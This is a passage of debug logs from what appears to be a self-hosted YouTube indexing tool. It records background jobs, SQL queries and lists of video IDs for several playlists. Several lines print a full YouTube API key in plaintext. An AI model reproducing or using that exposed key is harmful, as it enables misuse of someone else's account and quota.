'b5oqQc9awuc' from URL: {:error, "ERROR: [youtube] b5oqQc9awuc: Premieres in 45 hours\n", 1} 17:47:22.847 [debug] QUERY OK source="media_items" db=1.2ms idle=1435.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 17:47:22.848 [debug] QUERY OK source="tasks" db=0.1ms idle=1436.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800296, 32, ~U[2026-02-10 23:47:22Z], ~U[2026-02-10 23:47:22Z]] 17:47:22.848 [info] {"args":{"id":32},"id":3800257,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1721821,"event":"job:stop","queue_time":192173,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:28.135 [info] {"args":{"id":36},"id":3800258,"meta":{},"system_time":1770767248135758820,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:28.136 [debug] QUERY OK source="sources" db=0.1ms idle=257.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 17:47:28.136 [debug] QUERY OK source="settings" db=0.1ms idle=257.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:28.136 [debug] QUERY OK source="media_profiles" db=0.1ms idle=258.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:28.136 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:28.136 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 17:47:28.136 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:28.137 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:28.247 [debug] QUERY OK source="media_items" db=0.7ms idle=110.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "aIH7MZ1ZR8o", "SAywqmOO1tk", "zxa8quCs__I", "VUcJYnQNSX8", "o4gfcXlQ2SQ", "Sfycp2kvOQg", "TPqmGfulrfw", "YwhUHBpp6Ik", "B6Su6HUJNoY", "90uSWCHQaso", "v6Qazg9FCd8", "rGTSetnFRAk", "pmmEha5fbR4", "25Ica_QkHXY", "6-9PfdBo7vU", "P-rj56QjASc", "UxjEjOw0s8E", "mwM9ABnawTw", "mCwy1frO6MA", "oozugQHwDI4", "LFIu306va_c", "vJyv0rHJiq4", "7jZsenC-XC4", "4--zvaaKO3s", "Ga8RdTxzL2w", "7k_mPBs_F4k", "leFl8CfTOn4", "3AgrCN_VtEE", "X9ZXhDyBN4k", "uNDfc5domNY", "PBC4kkjS3P0", "BoYDhPVRorw", "tztHZ1qLTyw", "eNz6-B70WOs", "HRUVTzfqBTo", "K9V1c40vxu4", "OhM-qVsGG7w", "WVn1_qaUKOU", "rKFtrVF7CU8", "1Q8bHpz7aIo", "qoVFBOoVfJQ", "yFt223XU6Fs", "Eq8F6moYOjE", "q47Gom0X_sE", "YlCgi2Bozzo", "q3Astu36nx8", "a4z8Uv9RL9w", "XuNMN3_GGG4", "pvHELkFeMuM", ...] 17:47:28.248 [debug] QUERY OK source="media_items" db=0.9ms idle=111.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 17:47:28.249 [debug] QUERY OK source="tasks" db=0.1ms idle=112.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800297, 36, ~U[2026-02-10 23:47:28Z], ~U[2026-02-10 23:47:28Z]] 17:47:28.249 [info] {"args":{"id":36},"id":3800258,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":113682,"event":"job:stop","queue_time":492406,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:29.819 [info] {"source":"oban","duration":10008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:41.148 [info] {"args":{"id":23},"id":3800259,"meta":{},"system_time":1770767261148753103,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:41.149 [debug] QUERY OK source="sources" db=0.1ms idle=1270.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 17:47:41.149 [debug] QUERY OK source="settings" db=0.7ms idle=1007.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:41.150 [debug] QUERY OK source="media_profiles" db=0.1ms idle=271.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:41.150 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:41.150 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 17:47:41.150 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:41.150 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:41.261 [debug] QUERY OK source="media_items" db=0.6ms idle=111.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", "D5xX6nRWDko", "XRVA5PMSKKE", "os4DcbpL0Nc", "QOJfyp0KMmM", ...] 17:47:41.262 [debug] QUERY OK source="media_items" db=0.2ms idle=111.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 17:47:41.262 [debug] QUERY OK source="tasks" db=0.1ms idle=112.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800298, 23, ~U[2026-02-10 23:47:41Z], ~U[2026-02-10 23:47:41Z]] 17:47:41.263 [info] {"args":{"id":23},"id":3800259,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":114103,"event":"job:stop","queue_time":474419,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:43.151 [info] {"args":{"id":34},"id":3800260,"meta":{},"system_time":1770767263151890155,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:43.152 [info] {"args":{"id":10},"id":3800261,"meta":{},"system_time":1770767263151927484,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:43.152 [debug] QUERY OK source="sources" db=0.2ms idle=273.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 17:47:43.152 [debug] QUERY OK source="sources" db=0.3ms idle=273.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 17:47:43.152 [debug] QUERY OK source="settings" db=0.1ms idle=273.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:43.152 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:43.152 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:43.152 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:43.152 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:43.153 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 17:47:43.153 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:43.153 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 17:47:43.153 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:43.153 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:43.153 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:43.153 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:43.341 [debug] QUERY OK source="media_items" db=0.6ms idle=187.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 17:47:43.342 [debug] QUERY OK source="media_items" db=0.9ms idle=188.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 17:47:43.343 [debug] QUERY OK source="tasks" db=0.1ms idle=190.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800299, 34, ~U[2026-02-10 23:47:43Z], ~U[2026-02-10 23:47:43Z]] 17:47:43.344 [info] {"args":{"id":34},"id":3800260,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":191931,"event":"job:stop","queue_time":420445,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:43.472 [debug] QUERY OK source="media_items" db=0.6ms idle=128.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "zPAY2VxfFBk", "Qr4anBkL2_A", "LXmNeVLM4e4", "vZdbbN3FCzE", "DqAKQwagCDg", "PTd98UnJnnU", "TVsounscj4U", "HLUamwXQ218", "Jh9pFp1oM7E", "v-sCZN3FbR0", "NC1nzXq6Rh4", "trsHTKqmZOk", "sfyL4BswUeE", "Mb6H7trzMfI", "Qqyp00JPJZI", "KW21q_7U6Ao", "n4Xe6yQ1jIs", "RvP-uVNwnXo", "jrzK4xL_W4Q", "2MdQWo9fHZs", "j31dmodZ-5c", "PTf_Z8A2Usc", "v5lc7UAAats", "rU9aqBv0YdY", "rZMMySvsKAA", "xIFkrVU5Krk", "eou_g_cYCew", "Tl8RS0sR-qA", "F1zYatpqNSc", "GAdT6gYE54U", "rng_yUSwrgU", "q0aFOxT6TNw", "tDARtYjUiHs", "7gtc1DW2Tgo", "s0EbxhQYeCA", "GB0b6KFZVq0", "idEAABFzpfg", "_yOTYsFlRQY", "XUdic3Mwd2k", 